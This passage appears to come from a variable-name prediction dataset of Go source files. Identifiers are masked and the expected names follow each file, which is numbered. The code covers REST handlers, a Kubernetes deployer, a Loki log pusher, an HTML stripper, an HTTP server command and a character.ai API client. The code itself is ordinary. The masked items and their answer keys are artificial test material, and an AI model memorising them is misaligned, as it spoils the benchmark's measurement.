content"" if errors.IsNoContentError(err) { logs.Error(""No Content"", err) // Se for um erro relacionado a ""no content"", retorne um erro 204 genericErr := errors.NewHttpError(http.StatusNoContent, ""No content"") errors.HandleError(w, genericErr) return } // Se o erro não puder ser identificado, trate como um erro interno genericErr := errors.NewHttpError(http.StatusInternalServerError, ""Internal server error"") errors.HandleError(w, genericErr) return } // Se não houver erros, responda com JSON w.Header().Set(""Content-Type"", ""application/json"") w.WriteHeader(http.StatusOK) json.NewEncoder(w).Encode(beers) } func (h *BeerHandler) Add(w http.ResponseWriter, r *http.Request) { // Obtenha o contexto da solicitação ctx := r.Context() // Decodifique o corpo da solicitação JSON para a estrutura Beer var beer domain.Beer if err := json.NewDecoder(r.Body).Decode(&beer); err != nil { http.Error(w, fmt.Sprintf(""Erro ao decodificar o corpo da solicitação: %v"", err), http.StatusBadRequest) return } // Adicione a cerveja usando os dados fornecidos na solicitação addedBeer, err := h.useCase.AddBeer(ctx, &beer) if err != nil { if httpErr, ok := err.(errors.HttpError); ok { // Se o erro implementar a interface HttpError, manipule-o corretamente errors.HandleError(w, httpErr) return } // Se ocorrer um erro interno do servidor, retorne um erro 500 http.Error(w, fmt.Sprintf(""Erro interno do servidor: %v"", err), http.StatusInternalServerError) return } // Adicione o cabeçalho Location com a URL do recurso criado w.Header().Set(""Location"", fmt.Sprintf(""/beers/%d"", addedBeer.ID)) // Retorne a cerveja adicionada como resposta w.Header().Set(""Content-Type"", ""application/json"") json.NewEncoder(w).Encode(addedBeer) } func (h *BeerHandler) GetByID(w http.ResponseWriter, r *http.Request) { vars := mux.Vars(r) [MASK] := vars[""id""] id, err := strconv.ParseInt( [MASK] , 10, 64) if err != nil { http.Error(w, ""ID da cerveja inválido"", http.StatusBadRequest) return } beer, err := h.useCase.GetByID(r.Context(), id) if err != nil { if httpErr, ok := err.(errors.HttpError); ok { // Manipule o erro HttpError errors.HandleError(w, httpErr) return } // Se a cerveja não for encontrada, retorne 404 http.Error(w, fmt.Sprintf(""Cerveja com ID %d não encontrada"", id), http.StatusNotFound) return } // Se tudo correr bem, retorne a cerveja como resposta w.Header().Set(""Content-Type"", ""application/json"") w.WriteHeader(http.StatusOK) json.NewEncoder(w).Encode(beer) } ",idStr 857,"package Controller import ( ""MdPicCleaner/Error"" . ""MdPicCleaner/GetUrl"" ""fmt"" ""github.com/spf13/viper"" ""strings"" ) func Recover() { // 传入登录参数和操作文件变量 LoadConfig() endpoint := viper.GetString(""endpoint"") accessKeyID := viper.GetString(""accessKeyID"") accessKeySecret := viper.GetString(""accessKeySecret"") note := viper.GetString(""note"") // 登录 [MASK] , err := LoginAliyunOss(endpoint, accessKeyID, accessKeySecret) if err != nil { Error.HandleError(err) } //获取oss image url var ossStr []string = GetOssImageUrl( [MASK] ) //fmt.Println(""oss image url is "", ossStr) if err != nil { Error.HandleError(err) } // 获取md image url var mdStr []string = GetMdImageUrl(note) if err != nil { Error.HandleError(err) } //fmt.Println(""--------------------------------------------------------------------------------"") //fmt.Println(""md image url is :"", mdStr) // 将image url中冗余部分另存 var diffImage []string = CompareAndOutputDifferences(mdStr, ossStr) if err != nil { Error.HandleError(err) } // 将diffimage冗余数据完整路径转为可被oss移动的路径格式,并调用move移动函数进行文件移动 for i := range diffImage { if len(diffImage) >= 1 { parts := strings.Split(diffImage[i], ""/"") if len(parts) > 0 { //fmt.Println(parts[len(parts)-1]) // 打印文件扩展名 //fmt.Println(""dirty/"" + parts[len(parts)-1]) fmt.Println(""--------------------------------------------------------------------------------"") fmt.Printf(""source-->dest:\n%s --> dirty/%s \n"", parts[len(parts)-1], parts[len(parts)-1]) err = MoveDirtyImage( [MASK] , parts[len(parts)-1], ""dirty/""+parts[len(parts)-1]) if err != nil { Error.HandleError(err) } } } else { fmt.Println(""diffImage 中没有足够的元素"") } } } ",bucket 858,"/* Copyright 2021 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Package deployer implements the kubetest2 kind deployer package deployer import ( ""context"" ""errors"" ""flag"" ""io"" ""os"" ""os/exec"" ""path/filepath"" ""github.com/octago/sflags/gen/gpflag"" ""github.com/spf13/pflag"" v1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/client-go/kubernetes"" ""k8s.io/client-go/tools/clientcmd"" ""k8s.io/klog/v2"" ""sigs.k8s.io/kubetest2/pkg/types"" ) // Name is the name of the deployer const Name = ""dkp-aws"" var GitTag string // New implements deployer.New for kind func New(opts types.Options) (types.Deployer, *pflag.FlagSet) { // create a deployer object and set fields that are not flag controlled d := &deployer{ commonOptions: opts, } // register flags and return return d, bindFlags(d) } // assert that New implements types.NewDeployer var _ types.NewDeployer = New type deployer struct { // generic parts commonOptions types.Options ClusterName string `flag:""cluster-name"" desc:""the cluster name""` KuberneteVersion string `flag:""kubernetes-version"" desc:""the kubernetes version""` Ami string `flag:""ami"" desc:""the Ami ID to use for build and up""` KubeconfigPath string `flag:""-""` // populated by Up() } func (d *deployer) Up() error { args := []string{ ""create"", ""cluster"", ""aws"", ""--cluster-name"", d.ClusterName, ""--ami"", d.Ami, ""--kubernetes-version"", d.KuberneteVersion, ""--with-aws-bootstrap-credentials=true"", ""--self-managed"", } if exitCode := runner(""dkp"", args, os.Stdout, os.Stderr); exitCode != 0 { return errors.New(""failed to run dkp create cluster"") } d.KubeconfigPath = d.ClusterName + "".conf"" return nil } func (d *deployer) Down() error { command_args := [][]string{ { ""create"", ""bootstrap"", ""--with-aws-bootstrap-credentials=true"", }, { ""move"", ""capi-resources"", ""--from-kubeconfig"", d.KubeconfigPath, ""--to-context"", ""kind-konvoy-capi-bootstrapper"", }, { ""delete"", ""cluster"", ""--cluster-name"", d.ClusterName, }, { ""delete"", ""bootstrap"", }, } for _, args := range command_args { if exitCode := runner(""dkp"", args, os.Stdout, os.Stderr); exitCode != 0 { return errors.New(""failed to delete dkp cluster"") } } return nil } func (d *deployer) IsUp() (up bool, err error) { config, err := clientcmd.BuildConfigFromFlags("""", d.KubeconfigPath) if err != nil { return false, err } clientset, err := kubernetes.NewForConfig(config) if err != nil { return false, err } nodes, err := clientset.CoreV1().Nodes().List(context.TODO(), v1.ListOptions{}) if err != nil { return false, err } for _, node := range nodes.Items { for _, condition := range node.Status.Conditions { if condition.Type == ""Ready"" && condition.Status != ""True"" { return false, errors.New(""cluster nodes are not ready yet"") } } } return true, nil } func (d *deployer) DumpClusterLogs() error { return nil } func (d *deployer) Build() error { // TODO: build should probably still exist with common options return nil } func (d *deployer) Kubeconfig() (string, error) { if d.KubeconfigPath != """" { return d.KubeconfigPath, nil } if kconfig, ok := os.LookupEnv(""KUBECONFIG""); ok { return kconfig, nil } [MASK] , err := os.UserHomeDir() if err != nil { return """", err } return filepath.Join( [MASK] , "".kube"", ""config""), nil } func (d *deployer) Version() string { return GitTag } // helper used to create & bind a flagset to the deployer func bindFlags(d *deployer) *pflag.FlagSet { flags, err := gpflag.Parse(d) if err != nil { klog.Fatalf(""unable to generate flags from deployer"") return nil } flags.AddGoFlagSet(flag.CommandLine) return flags } // assert that deployer implements types.DeployerWithKubeconfig var _ types.DeployerWithKubeconfig = &deployer{} // runner executes commands with the given arguments func runner(cmd string, args []string, stdout, stderr io.Writer) int { cmdArgs := []string{} cmdArgs = append(cmdArgs, args...) c := exec.Command(cmd, cmdArgs...) c.Stdout = stdout c.Stderr = stderr if err := c.Run(); err != nil { if exitError, ok := err.(*exec.ExitError); ok { return exitError.ExitCode() } } return 0 } ",home 859,"package loki import ( ""bytes"" ""compress/gzip"" ""context"" ""encoding/json"" ""fmt"" ""net/url"" ""strconv"" ""sync"" ""time"" ""github.com/go-resty/resty/v2"" ""github.com/goexl/exception"" ""github.com/goexl/gox"" ""github.com/goexl/gox/field"" ""github.com/goexl/http"" ""github.com/goexl/loki/internal/config"" ""github.com/goexl/loki/internal/internal/internal"" ""github.com/goexl/loki/internal/internal/loki/internal/api"" ""github.com/goexl/loki/internal/internal/loki/internal/key"" ""go.uber.org/zap"" ) type Pusher struct { ctx context.Context quit chan gox.Empty logs chan *internal.Log group sync.WaitGroup http *http.Client batch *config.Batch labels gox.Labels url string logger *zap.Logger warn bool } func New(ctx context.Context, config *Config) (pusher *Pusher) { pusher = new(Pusher) pusher.ctx = ctx pusher.http = config.Http pusher.labels = config.Labels pusher.batch = config.Batch pusher.quit = make(chan gox.Empty) pusher.logs = make(chan *internal.Log, 4096) pusher.url = fmt.Sprintf(""%s/loki/api/v1/push"", config.Url) pusher.http.SetHeader(key.ContentType, key.Json) if """" != config.Username && """" != config.Password { pusher.http.SetBasicAuth(config.Username, config.Password) } if """" != config.Tenant { pusher.http.SetHeader(key.Tenant, config.Tenant) } pusher.group.Add(1) go pusher.run() return } func (p *Pusher) sink(_ *url.URL) (zap.Sink, error) { return internal.NewSink(p), nil } func (p *Pusher) Stop() { close(p.quit) p.group.Wait() } func (p *Pusher) Push(log *internal.Log) { p.logs <- log } func (p *Pusher) Build(config zap.Config, opts ...zap.Option) (logger *zap.Logger, err error) { if rse := zap.RegisterSink(key.KeyLokiSink, p.sink); nil != rse { err = rse } else { _key := fmt.Sprintf(""%s://"", key.KeyLokiSink) config.OutputPaths = gox.Ift(nil == config.OutputPaths, []string{_key}, append(config.OutputPaths, _key)) p.logger, err = config.Build(opts...) logger = p.logger } return } func (p *Pusher) run() { logs := make([]*internal.Log, 0, p.batch.Size) ticker := time.NewTimer(p.batch.Wait) defer p.cleanup(&logs) for { select { case <-p.ctx.Done(): break case <-p.quit: break case log := <-p.logs: logs = append(logs, log) if len(logs) >= p.batch.Size { _ = p.send(&logs) logs = make([]*internal.Log, 0) ticker.Reset(p.batch.Wait) } case <-ticker.C: if len(logs) > 0 { _ = p.send(&logs) logs = make([]*internal.Log, 0) } ticker.Reset(p.batch.Wait) } } } func (p *Pusher) send(logs *[]*internal.Log) (err error) { if request, ae := p.make(logs); nil != ae { err = ae } else if data, me := json.Marshal(request); nil != me { err = me } else { err = p.post(data) } if nil != err && !p.warn { p.logger.Warn(""推送日志出错"", zap.Error(err)) p.warn = true } return } func (p *Pusher) make(logs *[]*internal.Log) (request *api.Request, err error) { request = new(api.Request) values := make([]*api.Value, 0, len(*logs)) for _, log := range *logs { values = append(values, &api.Value{ strconv.FormatInt(log.Timestamp.UnixNano(), 10), log.Raw(), }) } request.Streams = append(request.Streams, &api.Stream{ Stream: p.labels, Values: values, }) return } func (p *Pusher) post(data []byte) (err error) { request := p.http.R() if buffer, ge := p.gzip(request, data); nil != ge { err = ge } else if [MASK] , pe := request.SetBody(buffer).Post(p.url); nil != pe { err = pe } else if [MASK] .IsError() { err = exception.New().Message(""Loki服务器返回错误"").Field( field.New(""status"", [MASK] .Status()), field.New(""body"", string( [MASK] .Body())), ).Build() } return } func (p *Pusher) gzip(request *resty.Request, data []byte) (buffer *bytes.Buffer, err error) { buffer = new(bytes.Buffer) writer := gzip.NewWriter(buffer) if _, we := writer.Write(data); nil != we { err = exception.New().Message(""压缩数据出错"").Field(field.Error(we)).Build() } if nil == err { err = writer.Close() } if nil == err { request.SetHeader(key.ContentEncoding, key.Gzip) } return } func (p *Pusher) cleanup(logs *[]*internal.Log) { if len(*logs) > 0 { _ = p.send(logs) } p.group.Done() return } ",rsp 860,"// Package utils taken from github.com/bitnami-labs/kubewatch source package utils import ( ""os"" ""github.com/sirupsen/logrus"" ""k8s.io/apimachinery/pkg/util/sets"" ""k8s.io/client-go/kubernetes"" ""k8s.io/client-go/rest"" ""k8s.io/client-go/tools/clientcmd"" ) // GetClient returns a k8s clientset to the request from inside of cluster func GetClient() kubernetes.Interface { config, err := rest.InClusterConfig() if err != nil { logrus.Fatalf(""Can not get kubernetes config: %v"", err) } clientset, err := kubernetes.NewForConfig(config) if err != nil { logrus.Fatalf(""Can not create kubernetes client: %v"", err) } return clientset } func buildOutOfClusterConfig() (*rest.Config, error) { [MASK] := os.Getenv(""KUBECONFIG"") if [MASK] == """" { [MASK] = os.Getenv(""HOME"") + ""/.kube/config"" } return clientcmd.BuildConfigFromFlags("""", [MASK] ) } // GetClientOutOfCluster returns a k8s clientset to the request from outside of cluster func GetClientOutOfCluster() (*kubernetes.Clientset, error) { config, err := buildOutOfClusterConfig() if err != nil { logrus.Fatalf(""Can not get kubernetes config: %v"", err) return nil, err } clientset, err := kubernetes.NewForConfig(config) if err != nil { logrus.Fatalf(""Coulnd't create clientset from config: %v"", err) return nil, err } return clientset, nil } // LabelsSubSet checks that subSet label keys are all present in Labels func LabelsSubSet(Labels map[string]string, subSet []string) bool { labelKeys := []string{} for k := range Labels { labelKeys = append(labelKeys, k) } labelSet := sets.NewString(labelKeys...) if labelSet.HasAll(subSet...) { return true } return false } ",kubeconfigPath 861,"package main import ( ""Driver-go/elevio"" ""fmt"" ) func main() { numFloors := 4 elevio.Init(""localhost:15657"", numFloors) var d elevio.MotorDirection = elevio.MD_Up //elevio.SetMotorDirection(d) drv_buttons := make(chan elevio.ButtonEvent) drv_floors := make(chan int) drv_obstr := make(chan bool) drv_stop := make(chan bool) [MASK] := make(chan elevio.ButtonEvent) // elevio.ButtonEvent floor_order = {1,2} go elevio.PollButtons(drv_buttons) go elevio.PollFloorSensor(drv_floors) go elevio.PollObstructionSwitch(drv_obstr) go elevio.PollStopButton(drv_stop) for { select { case a := <-drv_buttons: fmt.Printf(""%+v\n"", a) fmt.Printf(""Button received"") elevio.SetButtonLamp(a.Button, a.Floor, true) elevio.MoveTowardsFloor(a.Floor) case a := <-drv_floors: fmt.Printf(""%+v\n"", a) var floor_order = <- [MASK] if a == floor_order.Floor { d = elevio.MD_Stop fmt.Printf(""Stop"") elevio.SetButtonLamp(floor_order.Button, floor_order.Floor, false) } // if a == numFloors-1 { // d = elevio.MD_Down // } else if a == 0 { // d = elevio.MD_Up // } fmt.Println(""Floor"") // elevio.SetMotorDirection(d) case a := <-drv_obstr: fmt.Printf(""%+v\n"", a) fmt.Printf(""Obstruction"") if a { elevio.SetMotorDirection(elevio.MD_Stop) } else { elevio.SetMotorDirection(d) } case a := <-drv_stop: fmt.Printf(""%+v\n"", a) fmt.Printf(""Stop"") for f := 0; f < numFloors; f++ { for b := elevio.ButtonType(0); b < 3; b++ { elevio.SetButtonLamp(b, f, false) } } } } } ",drv_order 862,"package htmltags import ( ""bytes"" ""golang.org/x/net/html"" ""strings"" ) //Nodes structure with html.Node elements type Nodes struct { Elements *html.Node } //Strip HTML tags from a string. This function allows you to provide an array of allowable tags which will be skipped //from removing. Also, you can strip the HTML tag attributes (e.g. style, class, id ...) func Strip(content string, allowableTags []string, stripInlineAttributes bool) (Nodes, error) { document, err := toNodes(content) handleError(err) var [MASK] html.Node var output func(document *html.Node, nt *html.Node) output = func(document *html.Node, nt *html.Node) { for c := document.FirstChild; c != nil; c = c.NextSibling { if c.Type == html.TextNode || (c.Type == html.ElementNode && inArray(c.Data, allowableTags)) { var childNode html.Node childNode.Type = c.Type childNode.Data = c.Data if stripInlineAttributes == true { childNode.Attr = []html.Attribute{} } else { childNode.Attr = c.Attr } nt.AppendChild(&childNode) output(c, nt.LastChild) } else { output(c, nt) } } } output(document, & [MASK] ) return Nodes{Elements: & [MASK] }, nil } //String to nodes helper. func toNodes(document string) (*html.Node, error) { nodes, err := html.Parse(strings.NewReader(html.UnescapeString(document))) handleError(err) return nodes, nil } //ToString is a Nodes method. Converts Nodes.Elements to string func (nodes *Nodes) ToString() string { var buf bytes.Buffer for n := nodes.Elements.FirstChild; n != nil; n = n.NextSibling { html.Render(&buf, n) } return html.UnescapeString(buf.String()) } //Check if needle is in the array func inArray(a string, list []string) bool { for _, b := range list { if b == a { return true } } return false } //Show error func handleError(err error) { if err != nil { panic(err) } } ",nodeTree 863,"package main import ( ""flag"" ""fmt"" ""io/ioutil"" ""os"" ""os/exec"" ""path/filepath"" ""strings"" ""time"" pb_client ""dinowernli.me/faucet/proto/client"" pb_coordinator ""dinowernli.me/faucet/proto/service/coordinator"" pb_workspace ""dinowernli.me/faucet/proto/workspace"" ""github.com/Sirupsen/logrus"" ""github.com/golang/protobuf/jsonpb"" ""golang.org/x/net/context"" ""google.golang.org/grpc"" ) const ( gitBinary = ""git"" repoMetadataFilename = ""FAUCET"" rpcTimeout = time.Second * 3 ) var ( flagCoordinator = flag.String(""coordinator"", ""localhost:12345"", ""the grpc endpoint of the coordinator"") ) func main() { logger := logrus.New() logger.Out = os.Stderr logger.Infof(""Using coordinator: %s"", *flagCoordinator) // TODO(dino): Check for the existence of the binaries, allow overriding. // TODO(dino): Check that there are no uncommited changes. // TODO(dino): Have better messaging around common failure cases repoRoot, err := getRepoRoot() if err != nil { logger.Errorf(""Unable to get repository root: %v"", err) return } repoMeta, err := getRepoMetadata(repoRoot) if err != nil { logger.Errorf(""Unable to get repository metadata: %v"", err) return } cloneUrl := repoMeta.GitRepo.CloneUrl if cloneUrl == """" { logger.Errorf(""Got invalid clone url: %s"", cloneUrl) return } [MASK] , err := getCommitHash() if err != nil { logger.Errorf(""Unable to get commit hash: %v"", err) return } checkRequest := &pb_coordinator.CheckRequest{ Checkout: &pb_workspace.Checkout{ Revision: revisionProto( [MASK] ), Repository: repoProto(cloneUrl), }, } logger.Infof(""Sending CheckRequest: %v"", checkRequest) response, err := sendCheckRequest(checkRequest) if err != nil { logger.Errorf(""Error sending check request"", err) return } logger.Infof(""Got response: %v"", response) // TODO(dino): Start polling the coordinator's status endpoint with the returned check id. } func sendCheckRequest(request *pb_coordinator.CheckRequest) (*pb_coordinator.CheckResponse, error) { // TODO(dino): Add SSL. connection, err := grpc.Dial(*flagCoordinator, grpc.WithInsecure()) if err != nil { return nil, fmt.Errorf(""Failed to connect to %s: %v"", *flagCoordinator, err) } defer connection.Close() client := pb_coordinator.NewCoordinatorClient(connection) ctx, _ := context.WithTimeout(context.Background(), rpcTimeout) response, err := client.Check(ctx, request) if err != nil { return nil, fmt.Errorf(""Failed to retrieve status: %v"", err) } return response, nil } func revisionProto(gitCommitHash string) *pb_workspace.Revision { return &pb_workspace.Revision{ &pb_workspace.Revision_GitRevision_{ GitRevision: &pb_workspace.Revision_GitRevision{ CommitHash: gitCommitHash, }, }, } } func repoProto(cloneUrl string) *pb_workspace.Repository { return &pb_workspace.Repository{ &pb_workspace.Repository_GitRepository_{ &pb_workspace.Repository_GitRepository{ CloneUrl: cloneUrl, }, }, } } func getRepoMetadata(repoRoot string) (*pb_client.RepositoryMetadata, error) { filename := filepath.Join(repoRoot, repoMetadataFilename) fileBytes, err := ioutil.ReadFile(filename) if err != nil { return nil, fmt.Errorf(""Unable to read file %s: %v"", filename, err) } result := &pb_client.RepositoryMetadata{} err = jsonpb.UnmarshalString(string(fileBytes), result) if err != nil { return nil, fmt.Errorf(""Unable to parse proto file: %v"", err) } return result, nil } func getRepoRoot() (string, error) { outBytes, err := exec.Command(gitBinary, ""rev-parse"", ""--show-toplevel"").Output() if err != nil { return """", fmt.Errorf(""Unable to execute git: %v"", err) } return strings.Trim(string(outBytes), ""\r\n""), nil } func getCommitHash() (string, error) { outBytes, err := exec.Command(gitBinary, ""rev-parse"", ""HEAD"").Output() if err != nil { return """", fmt.Errorf(""Unable to execute git: %v"", err) } return strings.Trim(string(outBytes), ""\r\n""), nil } ",commitHash 864,"package services import ( ""errors"" ""gitee.com/chensyf/container/app/main/dao"" ""gitee.com/chensyf/container/app/main/models"" ""gitee.com/chensyf/container/app/main/models/request"" ) type studentService struct {} var StudentService = &studentService{} var TempStorage = make(map[string]models.Student) func (s *studentService) CreateStudent( [MASK] *request.Student) error { student := models.Student{ Name: [MASK] .Name, StudentId: [MASK] .StudentId, Grade: [MASK] .Grade, } dao.StudentDao.CreateStudent(&student) return nil } func (s *studentService) FindStudentByName(name string) (student models.Student, err error) { if student, ok := TempStorage[name]; ok { return student, nil } student = dao.StudentDao.QueryByName(name) if student.ID == 0 { return student, errors.New(""该学生不存在"") } TempStorage[name] = student return } func (s *studentService) FindAll() (students []models.Student) { return dao.StudentDao.QueryAll() }",studentRequest 865,"/* */ package cmd import ( ""context"" ""net"" ""os"" ""time"" ""github.com/senzing-garage/go-cmdhelping/cmdhelper"" ""github.com/senzing-garage/go-cmdhelping/option"" ""github.com/senzing-garage/go-cmdhelping/option/optiontype"" ""github.com/senzing-garage/go-cmdhelping/settings"" ""github.com/senzing-garage/go-grpcing/grpcurl"" ""github.com/senzing-garage/go-helpers/wraperror"" ""github.com/senzing-garage/go-observing/observer"" ""github.com/senzing-garage/go-rest-api-service/senzingrestservice"" ""github.com/senzing-garage/serve-http/httpserver"" ""github.com/spf13/cobra"" ""github.com/spf13/viper"" ""google.golang.org/grpc"" ) const ( Short string = ""HTTP server supporting various services"" Use string = ""serve-http"" Long string = ` An HTTP server supporting the following services: - Senzing API server - Swagger UI - Xterm ` ) var avoidServe = option.ContextVariable{ Arg: ""avoid-serving"", Default: option.OsLookupEnvBool(""SENZING_TOOLS_AVOID_SERVING"", false), Envar: ""SENZING_TOOLS_AVOID_SERVING"", Help: ""Avoid serving. For testing only. [%s]"", Type: optiontype.Bool, } // ---------------------------------------------------------------------------- // Context variables // ---------------------------------------------------------------------------- var ContextVariablesForMultiPlatform = []option.ContextVariable{ avoidServe, option.Configuration, option.DatabaseURL, option.EnableAll, option.EnableSenzingRestAPI, option.EnableSwaggerUI, option.EnableXterm, option.EngineSettings, option.EngineLogLevel, option.EngineInstanceName, option.GrpcURL, option.HTTPPort, option.LogLevel, option.ObserverOrigin, option.ObserverURL, option.ServerAddress, option.TtyOnly, option.XtermAllowedHostnames.SetDefault(getDefaultAllowedHostnames()), option.XtermArguments, option.XtermCommand, option.XtermConnectionErrorLimit, option.XtermKeepalivePingTimeout, option.XtermMaxBufferSizeBytes, } var ContextVariables = append(ContextVariablesForMultiPlatform, ContextVariablesForOsArch...) const ReadHeaderTimeout = 60 // ---------------------------------------------------------------------------- // Command // ---------------------------------------------------------------------------- // RootCmd represents the command. var RootCmd = &cobra.Command{ Use: Use, Short: Short, Long: Long, PreRun: PreRun, RunE: RunE, Version: Version(), } // ---------------------------------------------------------------------------- // Public functions // ---------------------------------------------------------------------------- // Execute adds all child commands to the root command and sets flags appropriately. // This is called by main.main(). It only needs to happen once to the RootCmd. func Execute() { err := RootCmd.Execute() if err != nil { os.Exit(1) } } // Used in construction of cobra.Command. func PreRun(cobraCommand *cobra.Command, args []string) { cmdhelper.PreRun(cobraCommand, args, Use, ContextVariables) } // Used in construction of cobra.Command. func RunE(_ *cobra.Command, _ []string) error { var err error ctx := context.Background() senzingSettings, err := settings.BuildAndVerifySettings(ctx, viper.GetViper()) if err != nil { return wraperror.Errorf(err, ""BuildAndVerifySettings"") } // Determine if gRPC is being used. [MASK] := viper.GetString(option.GrpcURL.Arg) grpcTarget := """" grpcDialOptions := []grpc.DialOption{} if len( [MASK] ) > 0 { grpcTarget, grpcDialOptions, err = grpcurl.Parse(ctx, [MASK] ) if err != nil { return wraperror.Errorf(err, ""grpcurl.Parse: %s"", [MASK] ) } } // Build observers. observers := []observer.Observer{} // Create object and Serve. httpServer := &httpserver.BasicHTTPServer{ APIUrlRoutePrefix: ""api"", AvoidServing: viper.GetBool(avoidServe.Arg), EnableAll: viper.GetBool(option.EnableAll.Arg), EnableSenzingRestAPI: viper.GetBool(option.EnableSenzingRestAPI.Arg), EnableSwaggerUI: viper.GetBool(option.EnableSwaggerUI.Arg), EnableXterm: viper.GetBool(option.EnableXterm.Arg), GrpcDialOptions: grpcDialOptions, GrpcTarget: grpcTarget, LogLevelName: viper.GetString(option.LogLevel.Arg), ObserverOrigin: viper.GetString(option.ObserverOrigin.Arg), Observers: observers, OpenAPISpecificationRest: senzingrestservice.OpenAPISpecificationJSON, ReadHeaderTimeout: ReadHeaderTimeout * time.Second, SenzingSettings: senzingSettings, SenzingInstanceName: viper.GetString(option.EngineInstanceName.Arg), SenzingVerboseLogging: viper.GetInt64(option.EngineLogLevel.Arg), ServerAddress: viper.GetString(option.ServerAddress.Arg), ServerPort: viper.GetInt(option.HTTPPort.Arg), SwaggerURLRoutePrefix: ""swagger"", TtyOnly: viper.GetBool(option.TtyOnly.Arg), XtermAllowedHostnames: viper.GetStringSlice(option.XtermAllowedHostnames.Arg), XtermArguments: viper.GetStringSlice(option.XtermArguments.Arg), XtermCommand: viper.GetString(option.XtermCommand.Arg), XtermConnectionErrorLimit: viper.GetInt(option.XtermConnectionErrorLimit.Arg), XtermKeepalivePingTimeout: viper.GetInt(option.XtermKeepalivePingTimeout.Arg), XtermMaxBufferSizeBytes: viper.GetInt(option.XtermMaxBufferSizeBytes.Arg), XtermURLRoutePrefix: ""xterm"", } err = httpServer.Serve(ctx) return wraperror.Errorf(err, wraperror.NoMessage) } // Used in construction of cobra.Command. func Version() string { return cmdhelper.Version(githubVersion, githubIteration) } // ---------------------------------------------------------------------------- // Private functions // ---------------------------------------------------------------------------- // Since init() is always invoked, define command line parameters. func init() { cmdhelper.Init(RootCmd, ContextVariables) } // --- Networking ------------------------------------------------------------- func getOutboundIP() net.IP { var result net.IP conn, err := net.Dial(""udp"", ""8.8.8.8:80"") if err != nil { panic(err) } defer func() { if err := conn.Close(); err != nil { panic(err) } }() localAddr, isOK := conn.LocalAddr().(*net.UDPAddr) if isOK { result = localAddr.IP } return result } func getDefaultAllowedHostnames() []string { result := []string{""localhost""} outboundIPAddress := getOutboundIP().String() if len(outboundIPAddress) > 0 { result = append(result, outboundIPAddress) } return result } ",grpcURL 866,"package main import ( ""fmt"" ""github.com/chremoas/auth-srv/proto"" ""github.com/chremoas/esi-srv/proto"" ""github.com/chremoas/services-common/config"" chremoasPrometheus ""github.com/chremoas/services-common/prometheus"" ""github.com/micro/go-micro"" ""go.uber.org/zap"" ""github.com/chremoas/auth-esi-poller/poller"" ) var ( version = ""1.0.0"" service micro.Service name = ""auth-esi-poller"" logger *zap.Logger ) func main() { var err error service = config.NewService(version, ""poller"", name, initialize) // TODO pick stuff up from the config logger, err = zap.NewProduction() if err != nil { panic(err) } defer logger.Sync() logger.Info(""Initialized logger"") go chremoasPrometheus.PrometheusExporter(logger) if err := service.Run(); err != nil { fmt.Println(err) } } func initialize(configuration *config.Configuration) error { entityQueryClient := abaeve_auth.EntityQueryServiceClient(configuration.LookupService(""srv"", ""auth""), service.Client()) entityAdminClient := abaeve_auth.EntityAdminServiceClient(configuration.LookupService(""srv"", ""auth""), service.Client()) authHandlerClient := abaeve_auth.UserAuthenticationServiceClient(configuration.LookupService(""srv"", ""auth""), service.Client()) allianceClient := chremoas_esi.NewAllianceService(configuration.LookupService(""srv"", ""esi""), service.Client()) [MASK] := chremoas_esi.NewCorporationService(configuration.LookupService(""srv"", ""esi""), service.Client()) characterClient := chremoas_esi.NewCharacterService(configuration.LookupService(""srv"", ""esi""), service.Client()) runner := poller.NewAuthEsiPoller(entityQueryClient, entityAdminClient, authHandlerClient, allianceClient, [MASK] , characterClient) runner.Start() return nil } ",corporationClient 867,"// account.go package cai import ( ""encoding/base64"" ""encoding/json"" ""errors"" ""fmt"" ""io"" ""net/http"" ""net/url"" ""os"" ) // FetchMe retrieves the account information. func (c *Client) FetchMe() (*UserAccount, error) { urlStr := ""https://beta.character.ai/chat/user/"" headers := c.GetHeaders(false) resp, err := c.Requester.Get(urlStr, headers) if err != nil { return nil, err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf(""failed to fetch account info, status code: %d"", resp.StatusCode) } body, err := io.ReadAll(resp.Body) if err != nil { return nil, err } var result FetchMeResponse err = json.Unmarshal(body, &result) if err != nil { return nil, err } account := &result.User if account == nil { return nil, errors.New(""account information not found"") } return account, nil } // GetSelf is an alias for FetchMe. func (c *Client) GetSelf() (*UserAccount, error) { return c.FetchMe() } // FetchMySettings retrieves the user's settings. func (c *Client) FetchMySettings() (*Settings, error) { urlStr := ""https://plus.character.ai/chat/user/settings/"" headers := c.GetHeaders(false) resp, err := c.Requester.Get(urlStr, headers) if err != nil { return nil, err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf(""failed to fetch settings, status code: %d"", resp.StatusCode) } body, err := io.ReadAll(resp.Body) if err != nil { return nil, err } var settings Settings err = json.Unmarshal(body, &settings) if err != nil { return nil, err } return &settings, nil } // FetchMyFollowers retrieves the user's followers. func (c *Client) FetchMyFollowers() ([]*PublicUser, error) { urlStr := ""https://plus.character.ai/chat/user/followers/"" headers := c.GetHeaders(false) resp, err := c.Requester.Get(urlStr, headers) if err != nil { return nil, err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf(""failed to fetch followers, status code: %d"", resp.StatusCode) } body, err := io.ReadAll(resp.Body) if err != nil { return nil, err } var result struct { Followers []*PublicUser `json:""followers""` } err = json.Unmarshal(body, &result) if err != nil { return nil, err } return result.Followers, nil } // FetchMyFollowing retrieves the users that the user is following. func (c *Client) FetchMyFollowing() ([]*PublicUser, error) { urlStr := ""https://plus.character.ai/chat/user/following/"" headers := c.GetHeaders(false) resp, err := c.Requester.Get(urlStr, headers) if err != nil { return nil, err } defer resp.Body.Close() if resp.StatusCode != http.StatusOK { return nil, fmt.Errorf(""failed to fetch following, status code: %d"", resp.StatusCode) } body, err := io.ReadAll(resp.Body) if err != nil { return nil, err } var result struct { Following []*PublicUser `json:""following""` } err = json.Unmarshal(body, &result) if err != nil { return nil, err } return result.Following, nil } // FetchMyPersonas retrieves all the user's personas. func (c *Client) FetchMyPersonas() ([]*Character, error) 